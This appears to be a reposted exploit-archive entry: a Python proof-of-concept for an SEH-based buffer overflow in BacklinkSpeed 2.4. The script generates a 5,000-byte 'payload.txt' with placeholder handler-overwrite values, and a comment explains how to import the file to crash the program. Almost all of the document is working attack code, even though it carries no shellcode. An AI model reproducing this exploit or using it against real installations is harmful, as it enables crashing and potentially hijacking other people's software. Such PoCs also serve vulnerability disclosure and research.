Exploit for BacklinkSpeed 2.4 Buffer Overflow

## https://sploitus.com/exploit?id=PACKETSTORM:158717
#!/usr/bin/python  
'''  
# Exploit Title: BacklinkSpeed v2.4 Buffer Overflow PoC (SEH)  
# Date: Aug-01-2020  
# Exploit Author: Saeed reza Zamanian  
# Vendor Homepage: http://www.dummysoftware.com  
# Software Link: http://www.dummysoftware.com/backlinkspeed.html  
# Version: 2.4  
# Tested on:   
Windows 10.0 x64 Build 10240  
Windows 7 x64  
Windows Vista x32 SP1  
# Replicate Crash:  
1) Install and Run the application  
2) Run the exploit , the exploit create a text file named payload.txt  
3) Press import button and open payload.txt  
  
|----------------------------------|  
| SEH chain of thread 00000350 |  
| Address SE handler |  
| 42424242 *** CORRUPT ENTRY *** |  
| |  
| EIP : 43434343 |  
|----------------------------------|  
'''  
  
nSEH = "BBBB"  
SEH = "CCCC"  
payload = "A"*5000+nSEH+"\x90\x90\x90\x90\x90\x90\x90\x90"+SEH  
  
try:  
  
f=open("payload.txt","w")  
  
print("[+] Creating %s bytes payload." %len(payload))  
  
f.write(payload)  
  
f.close()  
  
print("[+] File created!")  
  
except:  
  
print("File cannot be created.")